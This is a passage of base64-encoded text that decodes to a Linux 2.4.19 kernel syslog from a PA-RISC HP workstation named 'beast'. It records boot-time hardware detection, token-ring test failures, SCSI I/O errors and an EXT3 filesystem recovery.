b3IgTkVUNC4wDQpNYXkgMTAgMTA6MTc6NDMgYmVhc3Qga2VybmVsOiBram91
cm5hbGQgc3RhcnRpbmcuICBDb21taXQgaW50ZXJ2YWwgNSBzZWNvbmRzDQpN
YXkgMTAgMTA6MTc6NDMgYmVhc3Qga2VybmVsOiBFWFQzLWZzOiBtb3VudGVk
IGZpbGVzeXN0ZW0gd2l0aCBvcmRlcmVkIGRhdGEgbW9kZS4NCk1heSAxMCAx
MDoxNzo0MyBiZWFzdCBrZXJuZWw6IFZGUzogTW91bnRlZCByb290IChleHQz
IGZpbGVzeXN0ZW0pIHJlYWRvbmx5Lg0KTWF5IDEwIDEwOjE3OjQzIGJlYXN0
IGtlcm5lbDogRnJlZWluZyB1bnVzZWQga2VybmVsIG1lbW9yeTogMzM2ayBm
cmVlZA0KTWF5IDEwIDEwOjE3OjQzIGJlYXN0IGtlcm5lbDogQWRkaW5nIFN3
YXA6IDQ5OTcwNGsgc3dhcC1zcGFjZSAocHJpb3JpdHkgLTEpDQpNYXkgMTAg
MTA6MTc6NDMgYmVhc3Qga2VybmVsOiBFWFQzIEZTIDIuNC0wLjkuMTksIDE5
IEF1Z3VzdCAyMDAyIG9uIHNkKDgsNCksIGludGVybmFsIGpvdXJuYWwNCk1h
eSAxMCAxMDoxNzo0MyBiZWFzdCBrZXJuZWw6IExhc2kgSGFybW9ueSBBdWRp
byBkcml2ZXIgVjAuOWEsIGgvdyBpZCAyMCwgcmV2LiA2IGF0IDB4ZmZkMDQw
MDAsIElSUSA4Mg0KTWF5IDEwIDEwOjE3OjQzIGJlYXN0IGtlcm5lbDogRVhU
Mi1mcyB3YXJuaW5nIChkZXZpY2Ugc2QoOCwyKSk6IGV4dDJfcmVhZF9zdXBl
cjogbW91bnRpbmcgZXh0MyBmaWxlc3lzdGVtIGFzIGV4dDINCk1heSAxMCAx
MDoxNzo0MyBiZWFzdCBrZXJuZWw6IA0KTWF5IDEwIDEwOjE3OjQzIGJlYXN0
IGtlcm5lbDogZXRoMTogU2V0dGluZyAxMDBtYnBzIGZ1bGwtZHVwbGV4IGJh
c2VkIG9uIGF1dG8tbmVnb3RpYXRlZCBwYXJ0bmVyIGFiaWxpdHkgNDFlMS4N
Ck1heSAxMCAxMDoxNzo0MyBiZWFzdCBrZXJuZWw6IHRyMDogU1JCIHRpbWVk
IG91dC4gDQpNYXkgMTAgMTA6MTc6NDMgYmVhc3Qga2VybmVsOiB0cjA6IFJl
dHJ5aW5nIGF0IGRpZmZlcmVudCByaW5nIHNwZWVkIA0KTWF5IDEwIDEwOjE3
OjQzIGJlYXN0IGtlcm5lbDogdHIwOiBTUkIgdGltZWQgb3V0LiANCk1heSAx
MCAxMDoxNzo0MyBiZWFzdCBrZXJuZWw6IHRyMDogTG9iZSBNZWRpYSBUZXN0
IC0gRnVuY3Rpb24gRmFpbHVyZQ0KTWF5IDEwIDEwOjE3OjQzIGJlYXN0IGtl
cm5lbDogdHIwOiBTUkIgdGltZWQgb3V0LiANCk1heSAxMCAxMDoxNzo0MyBi
ZWFzdCBrZXJuZWw6IHRyMDogUmV0cnlpbmcgYXQgZGlmZmVyZW50IHJpbmcg
c3BlZWQgDQpNYXkgMTAgMTA6MTc6NDMgYmVhc3Qga2VybmVsOiB0cjA6IFNS
QiB0aW1lZCBvdXQuIA0KTWF5IDEwIDEwOjE3OjQzIGJlYXN0IGtlcm5lbDog
dHIwOiBMb2JlIE1lZGlhIFRlc3QgLSBGdW5jdGlvbiBGYWlsdXJlDQpNYXkg
MTAgMTA6MjM6MDQgYmVhc3Qga2VybmVsOiBpcF9jb25udHJhY2sgdmVyc2lv
biAyLjEgKDgwNzggYnVja2V0cywgNjQ2MjQgbWF4KSAtIDI5MiBieXRlcyBw
ZXIgY29ubnRyYWNrDQpNYXkgMTAgMTA6MjM6MDQgYmVhc3Qga2VybmVsOiBp
cF90YWJsZXM6IChDKSAyMDAwLTIwMDIgTmV0ZmlsdGVyIGNvcmUgdGVhbQ0K
TWF5IDEwIDEwOjM3OjQxIGJlYXN0IC0tIE1BUksgLS0NCk1heSAxMCAxMDo1
Mzo0OSBiZWFzdCBrZXJuZWw6IHNjc2kwICg2OjApIFRhcmdldCBpcyBzdWZm
ZXJpbmcgZnJvbSB0YWcgc3RhcnZhdGlvbi4NCk1heSAxMCAxMDo1MzozMSBi
ZWFzdCBrZXJuZWw6IFNDU0kgZGlzayBlcnJvciA6IGhvc3QgMCBjaGFubmVs
IDAgaWQgNiBsdW4gMCByZXR1cm4gY29kZSA9IDgNCk1heSAxMCAxMDo1Mzoz
MSBiZWFzdCBrZXJuZWw6ICBJL08gZXJyb3I6IGRldiAwODowNCwgc2VjdG9y
IDE3MDc1Nzg0DQpNYXkgMTAgMTA6NTM6MzEgYmVhc3Qga2VybmVsOiBTQ1NJ
IGRpc2sgZXJyb3IgOiBob3N0IDAgY2hhbm5lbCAwIGlkIDYgbHVuIDAgcmV0
dXJuIGNvZGUgPSA4DQpNYXkgMTAgMTA6NTM6MzEgYmVhc3Qga2VybmVsOiAg
SS9PIGVycm9yOiBkZXYgMDg6MDQsIHNlY3RvciAxOTY2MDg4OA0KTWF5IDEw
IDEwOjU4OjU4IGJlYXN0IHN5c2xvZ2QgMS40LjEjMTE6IHJlc3RhcnQuDQpN
YXkgMTAgMTA6NTg6NTggYmVhc3Qga2VybmVsOiBrbG9nZCAxLjQuMSMxMSwg
bG9nIHNvdXJjZSA9IC9wcm9jL2ttc2cgc3RhcnRlZC4NCk1heSAxMCAxMDo1
ODo1OCBiZWFzdCBrZXJuZWw6IEluc3BlY3RpbmcgL2Jvb3QvU3lzdGVtLm1h
cC0yLjQuMTktcGEyDQpNYXkgMTAgMTA6NTg6NTkgYmVhc3Qga2VybmVsOiBM
b2FkZWQgMTk1NDggc3ltYm9scyBmcm9tIC9ib290L1N5c3RlbS5tYXAtMi40
LjE5LXBhMi4NCk1heSAxMCAxMDo1ODo1OSBiZWFzdCBrZXJuZWw6IFN5bWJv
bHMgbWF0Y2gga2VybmVsIHZlcnNpb24gMi40LjE5Lg0KTWF5IDEwIDEwOjU4
OjU5IGJlYXN0IGtlcm5lbDogTG9hZGVkIDMgc3ltYm9scyBmcm9tIDEgbW9k
dWxlLg0KTWF5IDEwIDEwOjU4OjU5IGJlYXN0IGtlcm5lbDogTGludXggdmVy
c2lvbiAyLjQuMTktcGEyICh4YW1AYmVhc3QudWNjLmllKSAoZ2NjIHZlcnNp
b24gMy4wLjQpICMyIE1vbiBBdWcgMTIgMjE6MTU6NTIgSVNUIDIwMDINCk1h
eSAxMCAxMDo1ODo1OSBiZWFzdCBrZXJuZWw6IEZQWzBdIGVuYWJsZWQ6IFJl
diAwIE1vZGVsIDE0DQpNYXkgMTAgMTA6NTg6NTkgYmVhc3Qga2VybmVsOiBU
aGUgMzItYml0IEtlcm5lbCBoYXMgc3RhcnRlZC4uLg0KTWF5IDEwIDEwOjU4
OjU5IGJlYXN0IGtlcm5lbDogRGV0ZXJtaW5pbmcgUERDIGZpcm13YXJlIHR5
cGU6IFN5c3RlbSBNYXAuDQpNYXkgMTAgMTA6NTg6NTkgYmVhc3Qga2VybmVs
OiBtb2RlbCAwMDAwNTk5MCAwMDAwMDQ4MSAwMDAwMDAwMCAwMDAwMDAwMiA3
N2Y3NTYzMCAxMDAwMDBmMCAwMDAwMDAwOCAwMDAwMDBiMiAwMDAwMDBiMg0K
TWF5IDEwIDEwOjU4OjU5IGJlYXN0IGtlcm5lbDogdmVycyAgMDAwMDA1MDEN
Ck1heSAxMCAxMDo1ODo1OSBiZWFzdCBrZXJuZWw6IENQVUlEIHZlcnMgMTQg
cmV2IDIzICgweDAwMDAwMWQ3KQ0KTWF5IDEwIDEwOjU4OjU5IGJlYXN0IGtl
cm5lbDogY2FwYWJpbGl0aWVzIDB4Mg0KTWF5IDEwIDEwOjU4OjU5IGJlYXN0
IGtlcm5lbDogbW9kZWwgOTAwMC83ODIvQzI0MCsNCk1heSAxMCAxMDo1ODo1
OSBiZWFzdCBrZXJuZWw6IFRvdGFsIE1lbW9yeTogMTAyNCBNYg0KTWF5IDEw
IDEwOjU4OjU5IGJlYXN0IGtlcm5lbDogcGFnZXRhYmxlX2luaXQNCk1heSAx
MCAxMDo1ODo1OSBiZWFzdCBrZXJuZWw6IE9uIG5vZGUgMCB0b3RhbHBhZ2Vz
OiAyNjIxNDQNCk1heSAxMCAxMDo1ODo1OSBiZWFzdCBrZXJuZWw6IHpvbmUo
MCk6IDI2MjE0NCBwYWdlcy4NCk1heSAxMCAxMDo1ODo1OSBiZWFzdCBrZXJu
ZWw6IHpvbmUoMSk6IDAgcGFnZXMuDQpNYXkgMTAgMTA6NTg6NTkgYmVhc3Qg
a2VybmVsOiB6b25lKDIpOiAwIHBhZ2VzLg0KTWF5IDEwIDEwOjU4OjU5IGJl
YXN0IGtlcm5lbDogTEVEIGRpc3BsYXkgYXQgZjAxOTAwMDEgcmVnaXN0ZXJl
ZA0KTWF5IDEwIDEwOjU4OjU5IGJlYXN0IGtlcm5lbDogS2VybmVsIGNvbW1h
bmQgbGluZTogcm9vdD0vZGV2L3NkYTQgSE9NRT0vIGlwPW9mZiBjb25zb2xl
PXR0eVMwIFRFUk09dnQxMDIgcGFsb19rZXJuZWw9Mi92bWxpbnV4Lm9sZA0K
TWF5IDEwIDEwOjU4OjU5IGJlYXN0IGtlcm5lbDogQ29uc29sZTogY29sb3Vy
IGR1bW15IGRldmljZSAxNjB4NjQNCk1heSAxMCAxMDo1ODo1OSBiZWFzdCBr
ZXJuZWw6IENhbGlicmF0aW5nIGRlbGF5IGxvb3AuLi4gNDcwLjIyIEJvZ29N
SVBTDQpNYXkgMTAgMTA6NTg6NTkgYmVhc3Qga2VybmVsOiBNZW1vcnk6IDEw
MzM4NDBrIGF2YWlsYWJsZQ0KTWF5IDEwIDEwOjU4OjU5IGJlYXN0IGtlcm5l
bDogRGVudHJ5IGNhY2hlIGhhc2ggdGFibGUgZW50cmllczogMTMxMDcyIChv
cmRlcjogOCwgMTA0ODU3NiBieXRlcykNCk1heSAxMCAxMDo1ODo1OSBiZWFz
dCBrZXJuZWw6IElub2RlIGNhY2hlIGhhc2ggdGFibGUgZW50cmllczogNjU1
MzYgKG9yZGVyOiA3LCA1MjQyODggYnl0ZXMpDQpNYXkgMTAgMTA6NTg6NTkg
YmVhc3Qga2VybmVsOiBNb3VudC1jYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6
IDE2Mzg0IChvcmRlcjogNSwgMTMxMDcyIGJ5dGVzKQ0KTWF5IDEwIDEwOjU4
OjU5IGJlYXN0IGtlcm5lbDogQnVmZmVyLWNhY2hlIGhhc2ggdGFibGUgZW50
cmllczogNjU1MzYgKG9yZGVyOiA2LCAyNjIxNDQgYnl0ZXMpDQpNYXkgMTAg
MTA6NTg6NTkgYmVhc3Qga2VybmVsOiBQYWdlLWNhY2hlIGhhc2ggdGFibGUg
ZW50cmllczogMjYyMTQ0IChvcmRlcjogOCwgMTA0ODU3NiBieXRlcykNCk1h
eSAxMCAxMDo1ODo1OSBiZWFzdCBrZXJuZWw6IFNlYXJjaGluZyBmb3IgZGV2
aWNlcy4uLg0KTWF5IDEwIDEwOjU4OjU5IGJlYXN0IGtlcm5lbDogRm91bmQg
ZGV2aWNlczoNCk1heSAxMCAxMDo1ODo1OSBiZWFzdCBrZXJuZWw6IDEuIFUy
LUlPQSBCQyBSdW53YXkgUG9ydCAoMTIpIGF0IDB4ZmZmODgwMDAgWzhdLCB2
ZXJzaW9ucyAweDU4MCwgMHhmLCAweGINCk1heSAxMCAxMDo1ODo1OSBiZWFz
dCBrZXJuZWw6IDIuIERpbm8gUENJIEJyaWRnZSAoMTMpIGF0IDB4ZjIwMDAw
MDAgWzgvMF0sIHZlcnNpb25zIDB4NjgwLCAweDMsIDB4YSwgIGFkZGl0aW9u
YWwgYWRkcmVzc2VzOiAweGYyODAwMDAwIA0KTWF5IDEwIDEwOjU4OjU5IGJl
YXN0IGtlcm5lbDogMy4gUmF2ZW4gVS9MMiBEaW5vIFJTLTIzMiAoMTApIGF0
IDB4ZjIwMDMwMDAgWzgvMC82M10sIHZlcnNpb25zIDB4NiwgMHgwLCAweDhj
DQpNYXkgMTAgMTA6NTg6NTkgYmVhc3Qga2VybmVsOiA0LiBSYXZlbiBVL0wy
IERpbm8gUFMvMiBQb3J0ICgxMCkgYXQgMHhmMjAwMTAwMCBbOC8xXSwgdmVy
c2lvbnMgMHg2LCAweDAsIDB4OTYNCk1heSAxMCAxMDo1ODo1OSBiZWFzdCBr
ZXJuZWw6IDUuIFJhdmVuKyB3IFNFIEZXU0NTSSBDb3JlIEJBICgxMSkgYXQg
MHhmZmQwMDAwMCBbOC8xNl0sIHZlcnNpb25zIDB4NTYsIDB4MCwgMHg4MSwg
IGFkZGl0aW9uYWwgYWRkcmVzc2VzOiAweGZmZDBjMDAwIDB4ZmZjMDAwMDAg
DQpNYXkgMTAgMTA6NTg6NTkgYmVhc3Qga2VybmVsOiA2LiBSYXZlbisgdyBT
RSBGV1NDU0kgQ29yZSBDZW50cm9uaWNzICgxMCkgYXQgMHhmZmQwMjAwMCBb
OC8xNi8wXSwgdmVyc2lvbnMgMHg1NiwgMHgwLCAweDc0LCAgYWRkaXRpb25h
bCBhZGRyZXNzZXM6IDB4ZmZkMDEwMDAgMHhmZmQwMzAwMCANCk1heSAxMCAx
MDo1ODo1OSBiZWFzdCBrZXJuZWw6IDcuIFJhdmVuKyB3IFNFIEZXU0NTVSBD
b3JlIEF1ZGlvICgxMCkgYXQgMHhmZmQwNDAwMCBbOC8xNi8xXSwgdmVyc2lv
bnMgMHg1NiwgMHg0LCAweDdiDQpNYXkgMTAgMTA6NTg6NTkgYmVhc3Qga2Vy
bmVsOiA4LiBSYXZlbisgdyBTRSBGV1NDU0kgQ29yZSBSUy0yMzIgKDEwKSBh
dCAweGZmZDA1MDAwIFs4LzE2LzRdLCB2ZXJzaW9ucyAweDU2LCAweDAsIDB4
OGMNCk1heSAxMCAxMDo1ODo1OSBiZWFzdCBrZXJuZWw6IDkuIFJhdmVuKyB3
IFNFIEZXU0NTSSBDb3JlIFNDU0kgKDEwKSBhdCAweGZmZDA2MDAwIFs4LzE2
LzVdLCB2ZXJzaW9ucyAweDU2LCAweDAsIDB4ODINCk1heSAxMCAxMDo1ODo1
OSBiZWFzdCBrZXJuZWw6IDEwLiBSYXZlbisgdyBTRSBGV1NDU0kgQ29yZSBQ
Uy8yIFBvcnQgKDEwKSBhdCAweGZmZDA4MDAwIFs4LzE2LzddLCB2ZXJzaW9u
cyAweDU2LCAweDAsIDB4ODQNCk1heSAxMCAxMDo1ODo1OSBiZWFzdCBrZXJu
ZWw6IDExLiBSYXZlbisgdyBTRSBGV1NDU0kgQ29yZSBQUy8yIFBvcnQgKDEw
KSBhdCAweGZmZDA4MTAwIFs4LzE2LzhdLCB2ZXJzaW9ucyAweDU2LCAweDAs
IDB4ODQNCk1heSAxMCAxMDo1ODo1OSBiZWFzdCBrZXJuZWw6IDEyLiBVMi1J
T0EgQkMgR1NDKyBQb3J0ICg3KSBhdCAweGYyMDNmMDAwIFs4LzYzXSwgdmVy
c2lvbnMgMHg1MDEsIDB4MSwgMHhjDQpNYXkgMTAgMTA6NTg6NTkgYmVhc3Qg
a2VybmVsOiAxMy4gVTItSU9BIEJDIFJ1bndheSBQb3J0ICgxMikgYXQgMHhm
ZmY4YTAwMCBbMTBdLCB2ZXJzaW9ucyAweDU4MCwgMHhmLCAweGINCk1heSAx
MCAxMDo1ODo1OSBiZWFzdCBrZXJuZWw6IDE0LiBDdWpvIFBDSSBCcmlkZ2Ug
KDEzKSBhdCAweGYxMDAwMDAwIFsxMC8wXSwgdmVyc2lvbnMgMHg2ODIsIDB4
MSwgMHhhLCAgYWRkaXRpb25hbCBhZGRyZXNzZXM6IDB4ZjE4MDAwMDAgMHhm
NjAwMDAwMCANCk1heSAxMCAxMDo1ODo1OSBiZWFzdCBrZXJuZWw6IDE1LiBE
aW5vIFJTLTIzMiAoMTApIGF0IDB4ZjEwMDMwMDAgWzEwLzNdLCB2ZXJzaW9u
cyAweDcsIDB4MCwgMHg4Yw0KTWF5IDEwIDEwOjU4OjU5IGJlYXN0IGtlcm5l
bDogMTYuIFUyLUlPQSBCQyBHU0MrIFBvcnQgKDcpIGF0IDB4ZjEwM2YwMDAg
WzEwLzYzXSwgdmVyc2lvbnMgMHg1MDEsIDB4MSwgMHhjDQpNYXkgMTAgMTA6
NTg6NTkgYmVhc3Qga2VybmVsOiAxNy4gUmF2ZW4gVSAyNDAgKDkwMDAvNzgw
L0MyNDApICgwKSBhdCAweGZmZmEwMDAwIFszMl0sIHZlcnNpb25zIDB4NTk5
LCAweDAsIDB4NA0KTWF5IDEwIDEwOjU4OjU5IGJlYXN0IGtlcm5lbDogMTgu
IE1lbW9yeSAoMSkgYXQgMHhmZmZiMTAwMCBbNDldLCB2ZXJzaW9ucyAweDZm
LCAweDAsIDB4OQ0KTWF5IDEwIDEwOjU4OjU5IGJlYXN0IGtlcm5lbDogQ1BV
KHMpOiAxIHggUEE4MjAwIChQQ1gtVSspIGF0IDIzNi4wMDAwMDAgTUh6DQpN
YXkgMTAgMTA6NTg6NTkgYmVhc3Qga2VybmVsOiBGb3VuZCBVMiBhdCAweGZm
Zjg4MDAwDQpNYXkgMTAgMTA6NTg6NTkgYmVhc3Qga2VybmVsOiBGb3VuZCBV
MiBhdCAweGZmZjhhMDAwDQpNYXkgMTAgMTA6NTg6NTkgYmVhc3Qga2VybmVs
OiBMYXNpIHZlcnNpb24gMCBhdCAweGZmZDAwMDAwIGZvdW5kLg0KTWF5IDEw
IDEwOjU4OjU5IGJlYXN0IGtlcm5lbDogRGlubyB2ZXJzaW9uIDMuMSBmb3Vu
ZCBhdCAweGYyMDAwMDAwDQpNYXkgMTAgMTA6NTg6NTkgYmVhc3Qga2VybmVs
OiBDdWpvIHZlcnNpb24gMi4wIGZvdW5kIGF0IDB4ZjEwMDAwMDANCk1heSAx
MCAxMDo1ODo1OSBiZWFzdCBrZXJuZWw6IEVuYWJsaW5nIEN1am8gMi4wIGJ1
ZyB3b3JrYXJvdW5kDQpNYXkgMTAgMTA6NTg6NTkgYmVhc3Qga2VybmVsOiBE
b24ndCByZWNvZ25pc2UgQ3VqbyBhdCBhZGRyZXNzIDB4ZjEwMDAwMDAsIG5v
dCBlbmFibGluZyB3b3JrYXJvdW5kDQpNYXkgMTAgMTA6NTg6NTkgYmVhc3Qg
a2VybmVsOiBQT1NJWCBjb25mb3JtYW5jZSB0ZXN0aW5nIGJ5IFVOSUZJWA0K
TWF5IDEwIDEwOjU4OjU5IGJlYXN0IGtlcm5lbDogTGludXggTkVUNC4wIGZv
ciBMaW51eCAyLjQNCk1heSAxMCAxMDo1ODo1OSBiZWFzdCBrZXJuZWw6IEJh
c2VkIHVwb24gU3dhbnNlYSBVbml2ZXJzaXR5IENvbXB1dGVyIFNvY2lldHkg
TkVUMy4wMzkNCk1heSAxMCAxMDo1ODo1OSBiZWFzdCBrZXJuZWw6IEluaXRp
YWxpemluZyBSVCBuZXRsaW5rIHNvY2tldA0KTWF5IDEwIDEwOjU4OjU5IGJl
YXN0IGtlcm5lbDogU29mdCBwb3dlciBzd2l0Y2ggZW5hYmxlZCwgcG9sbGlu
ZyBAIDB4ZjAxNDAwMDAuDQpNYXkgMTAgMTA6NTg6NTkgYmVhc3Qga2VybmVs
OiBTdGFydGluZyBrc3dhcGQNCk1heSAxMCAxMDo1ODo1OSBiZWFzdCBrZXJu
ZWw6IEpvdXJuYWxsZWQgQmxvY2sgRGV2aWNlIGRyaXZlciBsb2FkZWQNCk1h
eSAxMCAxMDo1ODo1OSBiZWFzdCBrZXJuZWw6IHBhcnBvcnRfaW5pdF9jaGlw
OiBpbml0aWFsaXplIGJpZGlyZWN0aW9uYWwtbW9kZS4NCk1heSAxMCAxMDo1
ODo1OSBiZWFzdCBrZXJuZWw6IHBhcnBvcnQwOiBQQy1zdHlsZSBhdCAweGZm
ZDAyODAwLCBpcnEgODggW1BDU1BQLFRSSVNUQVRFXQ0KTWF5IDEwIDEwOjU4
OjU5IGJlYXN0IGtlcm5lbDogcHR5OiAyNTYgVW5peDk4IHB0eXMgY29uZmln
dXJlZA0KTWF5IDEwIDEwOjU4OjU5IGJlYXN0IGtlcm5lbDogU2VyaWFsIGRy
aXZlciB2ZXJzaW9uIDUuMDVjICgyMDAxLTA3LTA4KSB3aXRoIE1BTllfUE9S
VFMgU0hBUkVfSVJRIFNFUklBTF9QQ0kgZW5hYmxlZA0KTWF5IDEwIDEwOjU4
OjU5IGJlYXN0IGtlcm5lbDogdHR5UzAwIGF0IGlvbWVtIDB4ZmZkMDU4MDAg
KGlycSA9IDkwKSBpcyBhIDE2NTUwQQ0KTWF5IDEwIDEwOjU4OjU5IGJlYXN0
IGtlcm5lbDogdHR5UzAxIGF0IGlvbWVtIDB4ZjIwMDM4MDAgKGlycSA9IDEw
NikgaXMgYSAxNjU1MEENCk1heSAxMCAxMDo1ODo1OSBiZWFzdCBrZXJuZWw6
IFBTLzIga2V5Ym9hcmQgcG9ydCBhdCAweGZmZDA4MDAwIChpcnEgNjkpIGZv
dW5kLCBubyBkZXZpY2UgYXR0YWNoZWQuDQpNYXkgMTAgMTA6NTg6NTkgYmVh
c3Qga2VybmVsOiBQUy8yIHBzYXV4IHBvcnQgYXQgMHhmZmQwODEwMCAoaXJx
IDY5KSBmb3VuZCwgbm8gZGV2aWNlIGF0dGFjaGVkLg0KTWF5IDEwIDEwOjU4
OjU5IGJlYXN0IGtlcm5lbDogbHAwOiB1c2luZyBwYXJwb3J0MCAoaW50ZXJy
dXB0LWRyaXZlbikuDQpNYXkgMTAgMTA6NTg6NTkgYmVhc3Qga2VybmVsOiBH
ZW5lcmljIFJUQyBEcml2ZXIgdjEuMDIgMDUvMjcvMTk5OSBTYW0gQ3JlYXNl
eSAoc2FtbXlAb2gudmVyaW8uY29tKQ0KTWF5IDEwIDEwOjU4OjU5IGJlYXN0
IGtlcm5lbDogUkFNRElTSyBkcml2ZXIgaW5pdGlhbGl6ZWQ6IDE2IFJBTSBk
aXNrcyBvZiA0MDk2SyBzaXplIDEwMjQgYmxvY2tzaXplDQpNYXkgMTAgMTA6
NTg6NTkgYmVhc3Qga2VybmVsOiBsb29wOiBsb2FkZWQgKG1heCA4IGRldmlj
ZXMpDQpNYXkgMTAgMTA6NTg6NTkgYmVhc3Qga2VybmVsOiBMaW51eCBUdWxp
cCBkcml2ZXIgdmVyc2lvbiAwLjkuMTUtcHJlMTEgKE1heSAxMSwgMjAwMikN
Ck1heSAxMCAxMDo1ODo1OSBiZWFzdCBrZXJuZWw6IHR1bGlwMDogbm8gcGh5
IGluZm8sIGFib3J0aW5nIG10YWJsZSBidWlsZA0KTWF5IDEwIDEwOjU4OjU5
IGJlYXN0IGtlcm5lbDogdHVsaXAwOiAgTUlJIHRyYW5zY2VpdmVyICMxIGNv
bmZpZyAxMDAwIHN0YXR1cyA3ODA5IGFkdmVydGlzaW5nIDAxZTEuDQpNYXkg
MTAgMTA6NTg6NTkgYmVhc3Qga2VybmVsOiBldGgwOiBEaWdpdGFsIERTMjEx
NDMgVHVsaXAgcmV2IDQ4IGF0IDB4ZjJmZmYwMDAsIDAwOjEwOjgzOjAzOjJD
OjFDLCBJUlEgOTYuDQpNYXkgMTAgMTA6NTg6NTkgYmVhc3Qga2VybmVsOiBT
Q1NJIHN1YnN5c3RlbSBkcml2ZXIgUmV2aXNpb246IDEuMDANCk1heSAxMCAx
MDo1ODo1OSBiZWFzdCBrZXJuZWw6IHN5bTUzYzh4eDogYXQgUENJIGJ1cyAw
LCBkZXZpY2UgMTksIGZ1bmN0aW9uIDANCk1heSAxMCAxMDo1OTowMCBiZWFz
dCBrZXJuZWw6IHN5bTUzYzh4eDogNTNjODc1IGRldGVjdGVkIA0KTWF5IDEw
IDEwOjU5OjAwIGJlYXN0IGtlcm5lbDogc3ltNTNjODc1LTA6IHJldiAweDQg
b24gcGNpIGJ1cyAwIGRldmljZSAxOSBmdW5jdGlvbiAwIGlycSA5OQ0KTWF5
IDEwIDEwOjU5OjAwIGJlYXN0IGtlcm5lbDogc3ltNTNjODc1LTA6IElEIDcs
IEZhc3QtMjAsIFBhcml0eSBDaGVja2luZw0KTWF5IDEwIDEwOjU5OjAwIGJl
YXN0IGtlcm5lbDogc2NzaTAgOiBzeW01M2M4eHgtMS43LjNjLTIwMDEwNTEy
DQpNYXkgMTAgMTA6NTk6MDAgYmVhc3Qga2VybmVsOiA1M2M3MDA6IFZlcnNp
b24gMi43IEJ5IEphbWVzLkJvdHRvbWxleUBIYW5zZW5QYXJ0bmVyc2hpcC5j
b20NCk1heSAxMCAxMDo1OTowMCBiZWFzdCBrZXJuZWw6IHNjc2kxOiA1M2M3
MTAgcmV2IDIgDQpNYXkgMTAgMTA6NTk6MDAgYmVhc3Qga2VybmVsOiBzY3Np
MSA6IExBU0kgU0NTSSA1M2M3MDANCk1heSAxMCAxMDo1OTowMCBiZWFzdCBr
ZXJuZWw6ICAgVmVuZG9yOiBIUCAgICAgICAgTW9kZWw6IENELVdyaXRlciA2
MDIwICAgIFJldjogMS4wNw0KTWF5IDEwIDEwOjU5OjAwIGJlYXN0IGtlcm5l
bDogICBUeXBlOiAgIENELVJPTSAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgQU5TSSBTQ1NJIHJldmlzaW9uOiAwMg0KTWF5IDEwIDEwOjU5OjAwIGJl
YXN0IGtlcm5lbDogc2NzaTE6ICg2OjApIFN5bmNocm9ub3VzIGF0IG9mZnNl
dCA4LCBwZXJpb2QgMTAwbnMNCk1heSAxMCAxMDo1OTowMCBiZWFzdCBrZXJu
ZWw6ICAgVmVuZG9yOiBTRUFHQVRFICAgTW9kZWw6IFNUMzE4NDE2TiAgICAg
ICAgIFJldjogMDAxMA0KTWF5IDEwIDEwOjU5OjAwIGJlYXN0IGtlcm5lbDog
ICBUeXBlOiAgIERpcmVjdC1BY2Nlc3MgICAgICAgICAgICAgICAgICAgICAg
QU5TSSBTQ1NJIHJldmlzaW9uOiAwMw0KTWF5IDEwIDEwOjU5OjAwIGJlYXN0
IGtlcm5lbDogc2NzaTE6ICg2OjEpIFN5bmNocm9ub3VzIGF0IG9mZnNldCA4
LCBwZXJpb2QgMTAwbnMNCk1heSAxMCAxMDo1OTowMCBiZWFzdCBrZXJuZWw6
IEF0dGFjaGVkIHNjc2kgZGlzayBzZGEgYXQgc2NzaTEsIGNoYW5uZWwgMCwg
aWQgNiwgbHVuIDANCk1heSAxMCAxMDo1OTowMCBiZWFzdCBrZXJuZWw6IHNj
c2kxOiAoNjowKSBFbmFibGluZyBUYWcgQ29tbWFuZCBRdWV1aW5nDQpNYXkg
MTAgMTA6NTk6MDAgYmVhc3Qga2VybmVsOiBTQ1NJIGRldmljZSBzZGE6IDM1
ODg1MTY4IDUxMi1ieXRlIGhkd3Igc2VjdG9ycyAoMTgzNzMgTUIpDQpNYXkg
MTAgMTA6NTk6MDAgYmVhc3Qga2VybmVsOiBQYXJ0aXRpb24gY2hlY2s6DQpN
YXkgMTAgMTA6NTk6MDAgYmVhc3Qga2VybmVsOiAgc2RhOiBzZGExIHNkYTIg
c2RhMyBzZGE0DQpNYXkgMTAgMTA6NTk6MDAgYmVhc3Qga2VybmVsOiBORVQ0
OiBMaW51eCBUQ1AvSVAgMS4wIGZvciBORVQ0LjANCk1heSAxMCAxMDo1OTow
MCBiZWFzdCBrZXJuZWw6IElQIFByb3RvY29sczogSUNNUCwgVURQLCBUQ1As
IElHTVANCk1heSAxMCAxMDo1OTowMCBiZWFzdCBrZXJuZWw6IElQOiByb3V0
aW5nIGNhY2hlIGhhc2ggdGFibGUgb2YgODE5MiBidWNrZXRzLCA2NEtieXRl
cw0KTWF5IDEwIDEwOjU5OjAwIGJlYXN0IGtlcm5lbDogVENQOiBIYXNoIHRh
YmxlcyBjb25maWd1cmVkIChlc3RhYmxpc2hlZCAyNjIxNDQgYmluZCA2NTUz
NikNCk1heSAxMCAxMDo1OTowMCBiZWFzdCBrZXJuZWw6IE5FVDQ6IFVuaXgg
ZG9tYWluIHNvY2tldHMgMS4wL1NNUCBmb3IgTGludXggTkVUNC4wLg0KTWF5
IDEwIDEwOjU5OjAwIGJlYXN0IGtlcm5lbDogRVhUMy1mczogSU5GTzogcmVj
b3ZlcnkgcmVxdWlyZWQgb24gcmVhZG9ubHkgZmlsZXN5c3RlbS4NCk1heSAx
MCAxMDo1OTowMCBiZWFzdCBrZXJuZWw6IEVYVDMtZnM6IHdyaXRlIGFjY2Vz
cyB3aWxsIGJlIGVuYWJsZWQgZHVyaW5nIHJlY292ZXJ5Lg0KTWF5IDEwIDEw
OjU5OjAwIGJlYXN0IGtlcm5lbDogc2NzaTEgKDY6MCkgVGFyZ2V0IGlzIHN1
ZmZlcmluZyBmcm9tIHRhZyBzdGFydmF0aW9uLg0KTWF5IDEwIDEwOjU5OjAw
IGJlYXN0IGtlcm5lbDoga2pvdXJuYWxkIHN0YXJ0aW5nLiAgQ29tbWl0IGlu
dGVydmFsIDUgc2Vjb25kcw0KTWF5IDEwIDEwOjU5OjAwIGJlYXN0IGtlcm5l
bDogRVhUMy1mczogcmVjb3ZlcnkgY29tcGxldGUuDQpNYXkgMTAgMTA6NTk6
MDAgYmVhc3Qga2VybmVsOiBFWFQzLWZzOiBtb3VudGVkIGZpbGVzeXN0ZW0g
d2l0aCBvcmRlcmVkIGRhdGEgbW9kZS4NCk1heSAxMCAxMDo1OTowMCBiZWFz
